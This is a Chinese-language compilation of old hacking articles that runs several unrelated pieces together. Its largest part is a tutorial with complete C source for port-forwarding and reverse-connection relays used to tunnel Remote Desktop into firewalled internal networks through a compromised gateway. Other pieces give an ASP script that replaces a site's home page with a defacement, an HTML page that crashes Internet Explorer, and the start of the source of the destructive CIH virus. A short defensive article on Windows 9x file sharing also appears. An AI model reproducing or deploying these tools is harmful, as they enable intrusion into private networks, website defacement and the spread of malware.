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黑客突破TCP-IP過(guò)濾/防火墻進(jìn)入內(nèi)網(wǎng)eyas現(xiàn)在很多企業(yè)或者公司基本上網(wǎng)方式基本上都是申請(qǐng)一條連接到Internet的線路，寬帶、DDN、ADSL、ISDN等等，然后用一臺(tái)服務(wù)器做網(wǎng)關(guān)，服務(wù)器兩塊網(wǎng)卡，一塊是連接到Internet，另一塊是連接到內(nèi)網(wǎng)的HUB或者交換機(jī),然后內(nèi)網(wǎng)的其他機(jī)器就可以通過(guò)網(wǎng)關(guān)連接到Internet。也許有些人會(huì)這樣想，我在內(nèi)網(wǎng)之中，我們之間沒(méi)有直接的連接，你沒(méi)有辦法攻擊我。事實(shí)并非如此，在內(nèi)網(wǎng)的機(jī)器同樣可能遭受到來(lái)自Internet的攻擊，當(dāng)然前提是攻擊者已經(jīng)取得網(wǎng)關(guān)服務(wù)器的某些權(quán)限，呵呵，這是不是廢話？其實(shí)，Internet上很多做網(wǎng)關(guān)的服務(wù)器并未經(jīng)過(guò)嚴(yán)格的安全配置，要獲取權(quán)限也不是想象中的那么難。Ok!廢話就不說(shuō)了，切入正題。我們的目標(biāo)是用我們的TermClient[M$終端服務(wù)客戶端]連接到敵人內(nèi)網(wǎng)的TermServer機(jī)器。M$的終端服務(wù)是一個(gè)很好的遠(yuǎn)程管理工具，不是嗎？呵呵。沒(méi)有做特別說(shuō)明的話，文中提到的服務(wù)器OS都為windows2000。服務(wù)器為L(zhǎng)inux或其他的話，原理也差不多，把程序稍微修改就行了。<<第一部分：利用TCPsocket數(shù)據(jù)轉(zhuǎn)發(fā)進(jìn)入沒(méi)有防火墻保護(hù)的內(nèi)網(wǎng)>>假設(shè)敵人網(wǎng)絡(luò)拓?fù)淙缦聢D所示，沒(méi)有安裝防火墻或在網(wǎng)關(guān)服務(wù)器上做TCP/IP限制。我們的目標(biāo)是連接上敵人內(nèi)網(wǎng)的TerminalServer[]，因?yàn)闆](méi)有辦法直接和他建立連接，那么只有先從它的網(wǎng)關(guān)服務(wù)器上下手了。假如敵人網(wǎng)關(guān)服務(wù)器是M$的windows2k，IIS有Unicode漏洞[現(xiàn)在要找些有漏洞的機(jī)器太容易了，但我只是scriptskid，只會(huì)利用現(xiàn)成的漏洞做些簡(jiǎn)單的攻擊：（555），那么我們就得到一個(gè)網(wǎng)關(guān)的shell了，我們可以在那上面運(yùn)行我們的程序，雖然權(quán)限很低，但也可以做很多事情了。Ok!讓我們來(lái)寫(xiě)一個(gè)做TCPsocket數(shù)據(jù)轉(zhuǎn)發(fā)的小程序，讓敵人的網(wǎng)關(guān)服務(wù)器忠實(shí)的為我[]和敵人內(nèi)網(wǎng)的TermServer[]之間轉(zhuǎn)發(fā)數(shù)據(jù)。題外話：實(shí)際入侵過(guò)程是先取得網(wǎng)關(guān)服務(wù)器的權(quán)限，然后用他做跳板，進(jìn)一步摸清它的內(nèi)部網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu)，再做進(jìn)一步的入侵，現(xiàn)在敵人的網(wǎng)絡(luò)拓?fù)涫俏覀兘o他設(shè)計(jì)的，哈哈。攻擊流程如下：<1>在網(wǎng)關(guān)服務(wù)器運(yùn)行我們的程序AgentGateWay，他監(jiān)聽(tīng)TCP3389端口[改成別的，那我們就要相應(yīng)的修改TermClient了]等待我們?nèi)ミB接。<2>我們用TermClient連接到:3389。<3>.接受的連接，然后再建立一個(gè)TCPsocket連接到自己內(nèi)網(wǎng)的TermServer[]<4>這樣我們和敵人內(nèi)網(wǎng)的TermServer之間的數(shù)據(jù)通道就建好了，接下來(lái)網(wǎng)關(guān)就忠實(shí)的為我們轉(zhuǎn)發(fā)數(shù)據(jù)啦。當(dāng)我們連接到:3389的時(shí)候，其實(shí)出來(lái)的界面是敵人內(nèi)網(wǎng)的，感覺(jué)怎么樣？：）程序代碼如下：/**********************************************************************ModuleName:AgentGateWay.cDate:2001/4/15CopyRight(c)eyas說(shuō)明：端口重定向工具，在網(wǎng)關(guān)上運(yùn)行，把端口重定向到內(nèi)網(wǎng)的IP、PORT，就可以進(jìn)入內(nèi)網(wǎng)了sock[0]==>sClientsock[1]==>sTarget**********************************************************************/#include#include#include"TCPDataRedird.c"#defineTargetIPTEXT("")#defineTargetPort(int)3389#defineListenPort(int)3389//監(jiān)聽(tīng)端口#pragmacomment(lib,"ws2_32.lib")intmain(){WSADATAwsd;SOCKETsListen=INVALID_SOCKET,//本機(jī)監(jiān)聽(tīng)的socketsock[2];structsockaddr_inLocal,Client,Target;intiAddrSize;HANDLEhThreadC2T=NULL,//C2T=ClientToTargethThreadT2C=NULL;//T2C=TargetToClientDWORDdwThreadID;__try{if(WSAStartup(MAKEWORD(2,2),&wsd)!=0){printf("\nWSAStartup()failed:%d",GetLastError());__leave;}sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);if(sListen==INVALID_SOCKET){printf("\nsocket()failed:%d",GetLastError());__leave;}Local.sin_addr.s_addr=htonl(INADDR_ANY);Local.sin_family=AF_INET;Local.sin_port=htons(ListenPort);Target.sin_family=AF_INET;Target.sin_addr.s_addr=inet_addr(TargetIP);Target.sin_port=htons(TargetPort);if(bind(sListen,(structsockaddr*)&Local,sizeof(Local))==SOCKET_ERROR){printf("\nbind()failed:%d",GetLastError());__leave;}if(listen(sListen,1)==SOCKET_ERROR){printf("\nlisten()failed:%d",GetLastError());__leave;}//scoket循環(huán)while(1){printf("\n\n*************WaitingClientConnectto**************\n\n");iAddrSize=sizeof(Client);//getsocketsClientsock[0]=accept(sListen,(structsockaddr*)&Client,&iAddrSize);if(sock[0]==INVALID_SOCKET){printf("\naccept()failed:%d",GetLastError());break;}printf("\nAcceptclient==>%s:%d",inet_ntoa(Client.sin_addr),ntohs(Client.sin_port));//createsocketsTargetsock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);if(sock[1]==INVALID_SOCKET){printf("\nsocket()failed:%d",GetLastError());__leave;}//connecttotargetportif(connect(sock[1],(structsockaddr*)&Target,sizeof(Target))==SOCKET_ERROR){printf("\nconnect()failed:%d",GetLastError());__leave;}printf("\nconnecttotarget3389success!");//創(chuàng)建兩個(gè)線程進(jìn)行數(shù)據(jù)轉(zhuǎn)發(fā)hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);//等待兩個(gè)線程結(jié)束WaitForSingleObject(hThreadC2T,INFINITE);WaitForSingleObject(hThreadT2C,INFINITE);CloseHandle(hThreadC2T);CloseHandle(hThreadT2C);closesocket(sock[1]);closesocket(sock[0]);printf("\n\n*****************ConnectionClose*******************\n\n");}//endofsock外循環(huán)}//endoftry__finally{if(sListen!=INVALID_SOCKET)closesocket(sListen);if(sock[0]!=INVALID_SOCKET)closesocket(sock[0]);if(sock[1]!=INVALID_SOCKET)closesocket(sock[1]);if(hThreadC2T!=NULL)CloseHandle(hThreadC2T);if(hThreadT2C!=NULL)CloseHandle(hThreadT2C);WSACleanup();}return0;}/*************************************************************************Module:TCPDataRedird.cDate:2001/4/16CopyRight(c)eyasHomePage:Thankstoshotgun說(shuō)明:TCPsocket數(shù)據(jù)轉(zhuǎn)發(fā),sock[0]==>sClientsock[1]==>sTarget*************************************************************************/#defineBuffSize20*1024//緩沖區(qū)大小20k//此函數(shù)負(fù)責(zé)從Client讀取數(shù)據(jù)，然后轉(zhuǎn)發(fā)給TargetDWORDWINAPITCPDataC2T(SOCKET*sock){intiRet,ret=-1,//select返回值iLeft,idx,iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSizecharszSendToTargetBuff[BuffSize]={0},szRecvFromClientBuff[BuffSize]={0};fd_setfdread,fdwrite;printf("\n\n*****************ConnectionActive*******************\n\n");while(1){FD_ZERO(&fdread);FD_ZERO(&fdwrite);FD_SET(sock[0],&fdread);FD_SET(sock[1],&fdwrite);if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR){printf("\nselect()failed:%d",GetLastError());break;}//printf("\nselect()returnvalueret=%d",ret);if(ret>0){//sClinet可讀，client有數(shù)據(jù)要發(fā)送過(guò)來(lái)if(FD_ISSET(sock[0],&fdread)){//接收sock[0]發(fā)送來(lái)的數(shù)據(jù)iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);if(iRet==SOCKET_ERROR){printf("\nrecv()fromsock[0]failed:%d",GetLastError());break;}elseif(iRet==0)break;printf("\nrecv%dbytesfromsClinet.",iRet);//把從client接收到的數(shù)據(jù)存添加到發(fā)往target的緩沖區(qū)memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);//刷新發(fā)往target的數(shù)據(jù)緩沖區(qū)當(dāng)前buff大小iSTTBCS+=iRet;//清空接收client數(shù)據(jù)的緩沖區(qū)memset(szRecvFromClientBuff,0,BuffSize);}//sTarget可寫(xiě)，把從client接收到的數(shù)據(jù)發(fā)送到targetif(FD_ISSET(sock[1],&fdwrite)){//轉(zhuǎn)發(fā)數(shù)據(jù)到target的3389端口iLeft=iSTTBCS;idx=0;while(iLeft>0){iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);if(iRet==SOCKET_ERROR){printf("\nsend()totargetfailed:%d",GetLastError());break;}printf("\nsend%dbytestotarget",iRet);iLeft-=iRet;idx+=iRet;}//清空緩沖區(qū)memset(szSendToTargetBuff,0,BuffSize);//重置發(fā)往target的數(shù)據(jù)緩沖區(qū)當(dāng)前buff大小iSTTBCS=0;}}//endofselectretSleep(1);}//endofdatasend&recv循環(huán)return0;}//此函數(shù)負(fù)責(zé)從target讀取數(shù)據(jù)，然后發(fā)送給clientDWORDWINAPITCPDataT2C(SOCKET*sock){intiRet,ret=-1,//select返回值iLeft,idx,iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSizecharszRecvFromTargetBuff[BuffSize]={0},szSendToClientBuff[BuffSize]={0};fd_setfdread,fdwrite;while(1){FD_ZERO(&fdread);FD_ZERO(&fdwrite);FD_SET(sock[0],&fdwrite);FD_SET(sock[1],&fdread);if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR){printf("\nselect()failed:%d",GetLastError());break;}if(ret>0){//sTarget可讀，從target接收數(shù)據(jù)if(FD_ISSET(sock[1],&fdread)){//接收target返回?cái)?shù)據(jù)iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);if(iRet==SOCKET_ERROR){printf("\nrecv()fromtargetfailed:%d",GetLastError());break;}elseif(iRet==0)break;printf("\nrecv%dbytesfromtarget",iRet);//把從target接收到的數(shù)據(jù)添加到發(fā)送到client的緩沖區(qū)memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);//清空接收target返回?cái)?shù)據(jù)緩沖區(qū)memset(szRecvFromTargetBuff,0,BuffSize);//刷新發(fā)送到client的數(shù)據(jù)緩沖區(qū)當(dāng)前大小iSTCBCS+=iRet;}//client可寫(xiě)，發(fā)送target返回?cái)?shù)據(jù)到clientif(FD_ISSET(sock[0],&fdwrite)){//發(fā)送target返回?cái)?shù)據(jù)到clientiLeft=iSTCBCS;idx=0;while(iLeft>0){iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);if(iRet==SOCKET_ERROR){printf("\nsend()toClientfailed:%d",GetLastError());break;}printf("\nsend%dbytestoClient",iRet);iLeft-=iRet;idx+=iRet;}//清空緩沖區(qū)memset(szSendToClientBuff,0,BuffSize);iSTCBCS=0;}}//endofselectretSleep(1);}//endofwhilereturn0;}(利用TCPsocket轉(zhuǎn)發(fā)和反彈TCP端口進(jìn)入有防火墻保護(hù)的內(nèi)網(wǎng))事實(shí)上很多內(nèi)網(wǎng)沒(méi)有第一部分所說(shuō)的那么簡(jiǎn)單啦，我們來(lái)看一個(gè)有防火墻保護(hù)的內(nèi)網(wǎng),前提是這個(gè)防火墻對(duì)反彈TCP端口不做限制，限制了的話，又另當(dāng)別論了。假設(shè)網(wǎng)絡(luò)拓?fù)淙缦拢荷厦娴木W(wǎng)絡(luò)拓?fù)涫俏以谝淮螌?duì)朋友公司網(wǎng)站授權(quán)入侵過(guò)程中遇到的?！?〉我自己處于公司內(nèi)網(wǎng)，通過(guò)公司網(wǎng)關(guān)到Internet，但我是網(wǎng)關(guān)的admin：）?！?〉敵人[其實(shí)是friend啦]的網(wǎng)關(guān)OS是2kadvserver，在外網(wǎng)網(wǎng)卡上做了TCP/IP限制，只開(kāi)放了25,53,80,110,3306這幾個(gè)TCPPORT，通過(guò)一個(gè)漏洞，我得到了一個(gè)shell，可以通過(guò)IE來(lái)執(zhí)行系統(tǒng)命令，雖然權(quán)限很低。網(wǎng)關(guān)有終端服務(wù)，登陸驗(yàn)證漏洞補(bǔ)丁未安裝，但輸入法幫助文件已經(jīng)被刪除了，但是我們可以通過(guò)shell把輸入法幫助文件upload上去，因?yàn)樗南到y(tǒng)權(quán)限沒(méi)有設(shè)置好，我們可以寫(xiě)，呵呵。這樣的話，我們只要能夠連接到他的終端服務(wù)上去，我們就能繞過(guò)登陸驗(yàn)證，得到admin權(quán)限了。如何連接？有辦法，用TCPsocket轉(zhuǎn)發(fā)。和第一部分說(shuō)的一樣嗎？有些不同。因?yàn)樗隽薚CP/IP限制，我們不能連接他，只能讓他來(lái)連接我們了，TCP反彈端口，呵呵。攻擊流程如下：〈1〉在我的服務(wù)器運(yùn)行AgentMaster，監(jiān)聽(tīng)TCPPORT12345，等待來(lái)連接，監(jiān)聽(tīng)TCPPORT3389，等待我連接?！?〉在敵人網(wǎng)關(guān)機(jī)器運(yùn)行AgentSlave，連接到TCPPORT12345[注意：是反彈端口，TCP/IP過(guò)濾也拿他沒(méi)辦法]〈3〉我自己用TermClient連接到自己的服務(wù)器:3389〈4〉敵人網(wǎng)關(guān)上的AgentSlave連接到自己本身在內(nèi)網(wǎng)的IP==〉:3389〈5〉數(shù)據(jù)通道就建立好啦。兩個(gè)代理忠實(shí)的為我們轉(zhuǎn)發(fā)數(shù)據(jù)，呵呵。當(dāng)我們連接自己服務(wù)器的3389，其實(shí)出來(lái)的是敵人內(nèi)網(wǎng)的某臺(tái)機(jī)器，呵呵。后來(lái)發(fā)現(xiàn)敵人的主域控制器是，通過(guò)前面與他網(wǎng)關(guān)建立的連接，利用一個(gè)漏洞輕易的取得主域的admin權(quán)限，呵呵。他可能認(rèn)為主域在內(nèi)網(wǎng)，網(wǎng)關(guān)又做了TCP/IP過(guò)濾，攻擊者沒(méi)有辦法進(jìn)入。我只要把AgentSlave設(shè)置為連接:3389，以后就可以直接連接他的主域控制器啦，不過(guò)在網(wǎng)關(guān)登陸也一樣。程序代碼如下[程序中所用到的TCPDataRedird.c已經(jīng)貼在第一部分，那個(gè)文件做數(shù)據(jù)轉(zhuǎn)發(fā)，通用的：/******************************************************************************ModuleName:AgentMaster.cDate:2001/4/16CopyRight（c）eyas說(shuō)明：scoket代理主控端，負(fù)責(zé)監(jiān)聽(tīng)兩個(gè)TCPsocket,等待攻擊者和AgentSlave來(lái)連接，兩個(gè)scoket都連接成功后，開(kāi)始轉(zhuǎn)發(fā)數(shù)據(jù)sock[0]是client==〉sock[0]sock[1]是target==〉sock[1]******************************************************************************/#include〈stdio.h〉#include〈winsock2.h〉#include"TCPDataRedird.c"#pragmacomment（lib,"ws2_32.lib"）#defineTargetPort3389//偽裝的target的監(jiān)聽(tīng)端口#defineLocalPort12345//等待AgentSlave來(lái)connect的端口intmain（）{WSADATAwsd;SOCKETs3389=INVALID_SOCKET,//本機(jī)監(jiān)聽(tīng)的socket，等待攻擊者連接s1981=INVALID_SOCKET,//監(jiān)聽(tīng)的socket,等待AgentSlave來(lái)連接sock[2]={INVALID_SOCKET,INVALID_SOCKET};structsockaddr_inLocal3389,Local1981,Attack,Slave;intiAddrSize;HANDLEhThreadC2T=NULL,//C2T=ClientToTargethThreadT2C=NULL;//T2C=TargetToClientDWORDdwThreadID;__try{//loadwinsocklibraryif（WSAStartup（MAKEWORD（2,2）,&wsd）!=0）{printf（"\nWSAStartup（）failed:%d",GetLastError（））;__leave;}//createsockets3389=socket（AF_INET,SOCK_STREAM,IPPROTO_IP）;if（s3389==INVALID_SOCKET）{printf（"\nsocket（）failed:%d",GetLastError（））;__leave;}//createsockets1981=socket（AF_INET,SOCK_STREAM,IPPROTO_IP）;if（s1981==INVALID_SOCKET）{printf（"\nsocket（）failed:%d",GetLastError（））;__leave;}//fillthestructLocal3389.sin_addr.s_addr=htonl（INADDR_ANY）;Local3389.sin_family=AF_INET;Local3389.sin_port=htons（TargetPort）;Local1981.sin_addr.s_addr=htonl（INADDR_ANY）;Local1981.sin_family=AF_INET;Local1981.sin_port=htons（LocalPort）;//binds3389forattackerif（bind（s3389,（structsockaddr*）&Local3389,sizeof（Local3389））==SOCKET_ERROR）{printf（"\nbind（）failed:%d",GetLastError（））;__leave;}//listenforattackertoconnectif（listen（s3389,1）==SOCKET_ERROR）{printf（"\nlisten（）failed:%d",GetLastError（））;__leave;}//binds1981forAgentSlaveif（bind（s1981,（structsockaddr*）&Local1981,sizeof（Local1981））==SOCKET_ERROR）{printf（"\nbind（）failed:%d",GetLastError（））;__leave;}//listenforAgentSlavetoconnectif（listen（s1981,1）==SOCKET_ERROR）{printf（"\nlisten（）failed:%d",GetLastError（））;__leave;}//socket循環(huán)while（1）{//waitforAgentSlavetoconnectiAddrSize=sizeof（Slave）;sock[1]=accept（s1981,（structsockaddr*）&Slave,&iAddrSize）;if（sock[1]==INVALID_SOCKET）{printf（"\naccept（）failed:%d",GetLastError（））;break;}printf（"\nAcceptAgentSlave==〉%s:%d",inet_ntoa（Slave.sin_addr）,ntohs（Slave.sin_port））;//waitforAttackertoconnectiAddrSize=sizeof（Attack）;sock[0]=accept（s3389,（structsockaddr*）&Attack,&iAddrSize）;if（sock[0]==INVALID_SOCKET）{printf（"\naccept（）failed:%d",GetLastError（））;break;}printf（"\nAcceptAttacker==〉%s:%d",inet_ntoa（Attack.sin_addr）,ntohs（Attack.sin_port））;//創(chuàng)建兩個(gè)線程進(jìn)行數(shù)據(jù)轉(zhuǎn)發(fā)hThreadC2T=CreateThread（NULL,0,TCPDataC2T,（LPVOID）sock,0,&dwThreadID）;hThreadT2C=CreateThread（NULL,0,TCPDataT2C,（LPVOID）sock,0,&dwThreadID）;//等待兩個(gè)線程結(jié)束WaitForSingleObject（hThreadC2T,INFINITE）;CloseHandle（hThreadC2T）;CloseHandle（hThreadT2C）;closesocket（sock[0]）;closesocket（sock[1]）;}//endofsocketwhile}//endoftry__finally{//cleanallif（s3389!=INVALID_SOCKET）closesocket（s3389）;if（s1981!=INVALID_SOCKET）closesocket（s1981）;if（sock[0]!=INVALID_SOCKET）closesocket（sock[0]）;if（sock[1]!=INVALID_SOCKET）closesocket（sock[1]）;if（hThreadC2T!=NULL）CloseHandle（hThreadC2T）;if（hThreadT2C!=NULL）CloseHandle（hThreadT2C）;WSACleanup（）;}return0;}/***********************************************************************************Module:AgentSlave.cDate:2001/4/17Copyright（c）eyasHomePage:說(shuō)明：這個(gè)程序負(fù)責(zé)連接最終目標(biāo)，連接主控端，然后轉(zhuǎn)發(fā)數(shù)據(jù)這里連接到AgenrMaster的socket相當(dāng)與sClient==〉sock[0]，連接到最終目標(biāo)的socoket是sTarget==〉sock[1]***********************************************************************************/#include〈stdio.h〉#include〈winsock2.h〉#include"TCPDataRedird.c"#pragmacomment（lib,"ws2_32.lib"）#defineTargetIP""#defineTargetPort（int）3389#defineAgentMasterIP""#defineAgentMasterPort（int）12345intmain（）{WSADATAwsd;SOCKETsock[2]={INVALID_SOCKET,INVALID_SOCKET};structsockaddr_inMaster,Target;HANDLEhThreadC2T=NULL,//C2T=ClientToTargethThreadT2C=NULL;//T2C=TargetToClientDWORDdwThreadID;__try{//loadwinsocklibraryif（WSAStartup（MAKEWORD（2,2）,&wsd）!=0）{printf（"\nWSAStartup（）failed:%d",GetLastError（））;__leave;}//循環(huán)while（1）{//createclientsocketsock[0]=socket（AF_INET,SOCK_STREAM,IPPROTO_IP）;if（sock[0]==INVALID_SOCKET）{printf（"\nsocket（）failed:%d",GetLastError（））;__leave;}//createtargetsocketsock[1]=socket（AF_INET,SOCK_STREAM,IPPROTO_IP）;if（sock[1]==INVALID_SOCKET）{printf（"\nsocket（）failed:%d",GetLastError（））;__leave;}//fillstructTarget.sin_family=AF_INET;Target.sin_addr.s_addr=inet_addr（TargetIP）;Target.sin_port=htons（TargetPort）;Master.sin_family=AF_INET;Master.sin_addr.s_addr=inet_addr（AgentMasterIP）;Master.sin_port=htons（AgentMasterPort）;//connecttoAgentMasterif（connect（sock[0],（structsockaddr*）&Master,sizeof（Master））==SOCKET_ERROR）{//連接失敗后，等待一會(huì)兒再連printf（"\nconnect（）tomasterfailed:%d",GetLastError（））;closesocket（sock[0]）;closesocket（sock[1]）;Sleep（5000）;continue;}printf（"\nconnectto%s%dsuccess!",AgentMasterIP,AgentMasterPort）;//connecttotargetif（connect（sock[1],（structsockaddr*）&Target,sizeof（Target））==SOCKET_ERROR）{printf（"\nconnect（）totargetfailed:%d",GetLastError（））;__leave;}printf（"\nconnectto%s%dsuccess!",TargetIP,TargetPort）;//創(chuàng)建兩個(gè)線程進(jìn)行數(shù)據(jù)轉(zhuǎn)發(fā)hThreadC2T=CreateThread（NULL,0,TCPDataC2T,（LPVOID）sock,0,&dwThreadID）;hThreadT2C=CreateThread（NULL,0,TCPDataT2C,（LPVOID）sock,0,&dwThreadID）;//等待兩個(gè)線程結(jié)束WaitForSingleObject（hThreadC2T,INFINITE）;CloseHandle（hThreadC2T）;CloseHandle（hThreadT2C）;closesocket（sock[0]）;closesocket（sock[1]）;}//endofwhile}//endoftry__finally{if（sock[0]!=INVALID_SOCKET）closesocket（sock[0]）;if（sock[1]!=INVALID_SOCKET）closesocket（sock[1]）;if（hThreadC2T!=NULL）CloseHandle（hThreadC2T）;if（hThreadT2C!=NULL）CloseHandle（hThreadT2C）;WSACleanup（）;}return0;}如何防止Windows遠(yuǎn)程共享漏洞苗得雨在我們的家庭生活和在處理普通辦公與事物的時(shí)候，我們的計(jì)算機(jī)用戶接觸和使用的大多數(shù)系統(tǒng)基本都是Windows9x或者是WindowsME系列的產(chǎn)品，這類(lèi)產(chǎn)品以其強(qiáng)大的易用性和家庭娛樂(lè)辦公性方便，深得廣大的普通計(jì)算機(jī)用戶和辦公人員的喜愛(ài)。Windows9x系列和其后續(xù)產(chǎn)品的易用性是我們必須承認(rèn)的的，但是我們也必須意識(shí)到Windows9x系列產(chǎn)品比起它的同胞兄弟WindowsNT和Windows2000來(lái)說(shuō)，無(wú)論是穩(wěn)定性還是安全性都差了許多，而且從許多的事例上我們也可以看出，Microsoft在設(shè)計(jì)Windows9x系列時(shí)，為了突出它的娛樂(lè)功能和易用性犧牲了Windows9x系列產(chǎn)品的安全性。這些對(duì)于那些處在安全敏感位置或者是對(duì)安全要求嚴(yán)格的家庭終端用戶來(lái)說(shuō)無(wú)疑是最可怕的一件事情了。更糟糕的是我們很多用戶在使用windows9x系統(tǒng)的時(shí)候往往不會(huì)注意它的設(shè)置和配置等與安全相關(guān)的問(wèn)題，我們有時(shí)候會(huì)出現(xiàn)在不慎中選擇了不安全的密碼。或者是在某一個(gè)時(shí)刻，為一個(gè)惡意的攻擊者在我們的網(wǎng)絡(luò)上提供了一個(gè)能夠讓他進(jìn)出自由的后門(mén)，這都大大地使我們?cè)诰W(wǎng)絡(luò)中的計(jì)算機(jī)時(shí)刻的處于危險(xiǎn)之中。遠(yuǎn)程共享漏洞Windows9X操作系統(tǒng)作為最大眾化的操作系統(tǒng)，以其的方便易用而成為多數(shù)電腦用戶的首選。雖然微軟聲稱(chēng)Windows9X達(dá)到了C2的安全級(jí)別，但是Windows9X真的如我們想象的那么的安全嗎？下面就讓我們一起撥開(kāi)它的層層偽裝。Windows9X共享資源是Windows9X最致命且最容易受到攻擊的漏洞。眾所周知在Windows9X中提供了三個(gè)直接訪問(wèn)遠(yuǎn)程系統(tǒng)的方式：文件和打印共享、撥號(hào)服務(wù)器和遠(yuǎn)程修改注冊(cè)表。作為遠(yuǎn)程訪問(wèn)注冊(cè)表需要比較高級(jí)的設(shè)置，而且在外部網(wǎng)中很難實(shí)現(xiàn)，所以黑客們?cè)诠魝€(gè)人用戶的時(shí)候就首選了攻擊Windows9X文件和打印共享。在Windows9X系統(tǒng)中，特別是在許多的政府企業(yè)部門(mén)，共享文件與打印機(jī)都是基本的功能，這也就使得那些黑客不費(fèi)吹灰之力就輕而易舉的拿到他們想要的東西。作為狡詐的黑客們，他們通常會(huì)利用使用最佳小巧的工具對(duì)網(wǎng)段掃描，而在眾多的工具中Legion和Shed都是很優(yōu)秀的作品，不過(guò)我更加鐘情于Shed，首選他是中國(guó)人開(kāi)發(fā)的，而且方便易用，不會(huì)像Legion一樣還需要安裝。下載完Shed我們雙擊就可以打開(kāi)，然后在以下的位置填寫(xiě)上IP地址段就可以了。讓我們看看我們都能掃描到什么。東西不少啊，雙擊找到的目標(biāo)之后黑客們就可以如同使用本機(jī)上我的電腦一樣打開(kāi)那些秘密文件，如此簡(jiǎn)單，如果他們高興的話他還會(huì)使用你的打印機(jī)，會(huì)刪除篡改你的文件……太可怕了，那么如何制止這一切哪？其實(shí)方法也是很簡(jiǎn)單的，首先我們可以把機(jī)器上不用的共享文件屬性關(guān)閉。當(dāng)然如果網(wǎng)管有很多這樣的計(jì)算機(jī)，也可以利用系統(tǒng)的策略編輯器poledit.exe對(duì)所有計(jì)算機(jī)的共享進(jìn)行關(guān)閉。當(dāng)然我們?cè)诠蚕韺傩晕募竺婕右粋€(gè)＄也可以制止這種漏洞讓你的計(jì)算機(jī)避免出現(xiàn)在外人的網(wǎng)絡(luò)鄰居中。因?yàn)檫^(guò)復(fù)雜的字符往往會(huì)讓netview命令輸出與Legion的掃描失效。在Windows系統(tǒng)中，還有一個(gè)令人煩惱的漏洞，這就藍(lán)屏炸彈。藍(lán)屏炸彈主要是根據(jù)Windows9X操作系統(tǒng)的一個(gè)類(lèi)似于請(qǐng)求溢出的漏洞將目標(biāo)計(jì)算機(jī)藍(lán)屏死機(jī)，對(duì)付這種炸彈最有效的方法是安裝Windows系統(tǒng)的補(bǔ)丁，或者使用防火墻。筆者將在以后的文章中詳細(xì)介紹個(gè)人防火墻的設(shè)置。微軟IE5.5以上版本的bug昨天，在調(diào)試程序的時(shí)候，偶然發(fā)現(xiàn)IE5.5的一個(gè)bug假如我們建立一個(gè)print.htm頁(yè)面，內(nèi)容如下：<html><bodyonbeforeprint="document.write('Something');"><script>window.print();</script></body></html>當(dāng)IE5.5以上版本在瀏覽這個(gè)頁(yè)面的時(shí)候，會(huì)導(dǎo)致IE崩潰。初步分析是IE的打印準(zhǔn)備工作的處理先后順序有問(wèn)題，導(dǎo)致指針違規(guī)訪問(wèn)。這個(gè)bug可以允許服務(wù)器端攻擊客戶端。我當(dāng)即發(fā)信給微軟的安全部門(mén)，他們的答復(fù)大致如下：“我們認(rèn)為導(dǎo)致一個(gè)應(yīng)用程序崩潰的方法很多，只有導(dǎo)致系統(tǒng)完全崩潰或者能控制的溢出我們才認(rèn)為是安全漏洞”呵呵，很像微軟的風(fēng)格測(cè)試的結(jié)果是，IE5.5IE6.0都有這個(gè)問(wèn)題PatchingHeroes中華補(bǔ)天IIS的一個(gè)重要漏洞這是IIS的一個(gè)非常嚴(yán)重的漏洞,即使是IIS4.0,仍然沒(méi)有補(bǔ)上這個(gè)漏洞:你建立這樣一個(gè)簡(jiǎn)單的asp程序:write.asp<%SetfsMad=CreateObject("Scripting.FileSystemObject")SetfileMad=fsMad.CreateTextFile("c:\inetpub\wwwroot\index.htm")htmlstr="<html><head><title></title></head><bodybgcolor="&"'"&"#000000"&"'"&"><p><fontcolor="&"'"&"#FF0000"&"'"&"><p>Thepagewashackedbychinafire!</p></body></html>"fileMad.write(htmlstr)fileMad.close%>注意,上述程序不能更改換行!然后上傳到任何一個(gè)web目錄中(允許腳本執(zhí)行),如:/frankie/write.asp然后在瀏覽器中輸入該地址這樣,將替換首頁(yè)!紅字黑底,顯示:Thepagewashackedbychinafire!解決方案:目前還沒(méi)有安全建議:重要設(shè)置嚴(yán)格的訪問(wèn)權(quán)限,盡量減少允許執(zhí)行腳本的程序CIH源碼;****************************************************************************;*TheVirusProgramInformation*;****************************************************************************;**;*Designer:CIHSource:TTITofTATUNGinTaiwan*;*CreateDate:04/26/1998NowVersion:1.4*;*ModificationTime:05/31/1998*;**;*TurboAssemblerVersion4.0:tasm/mcih*;*TurboLinkVersion3.01:tlink/3/tcih,cih.exe*;**:*==========================================================================*:*ModificationHistory*;*==========================================================================*;*v1.01.CreatetheVirusProgram.*;*2.TheVirusModifiesIDTtoGetRing0Privilege.*;*04/26/19983.VirusCodedoesn'tReloadintoSystem.*;*4.CallIFSMgr_InstallFileSystemApiHooktoHookFileSystem.*;*5.ModifiesEntryPointofIFSMgr_InstallFileSystemApiHook.*;*6.WhenSystemOpensExistingPEFile,theFilewillbe*;*Infected,andtheFiledoesn'tbeReinfected.*;*7.ItisalsoInfected,eventheFileisRead-Only.*;*8.WhentheFileisInfected,theModificationDateandTime*;*oftheFilealsodon'tbeChanged.*;*9.WhenMyVirusUsesIFSMgr_Ring0_FileIO,itwillnotCall*;*PreviousFileSystemApiHook,itwillCalltheFunction*;*thattheIFSManagerWouldNormallyCalltoImplement*;*thisParticularI/ORequest.*;*10.TheVirusSizeisonly656Bytes.*;*==========================================================================*;*v1.11.Especially,theFilethatbeInfectedwillnotIncrease*;*it'sSize...^__^*;*05/15/19982.HookandModifyStructuredExceptionHanding.*;*WhenExceptionErrorOccurs,OurOSSystemshouldbein*;*WindowsNT.SoMyCuteViruswillnotContin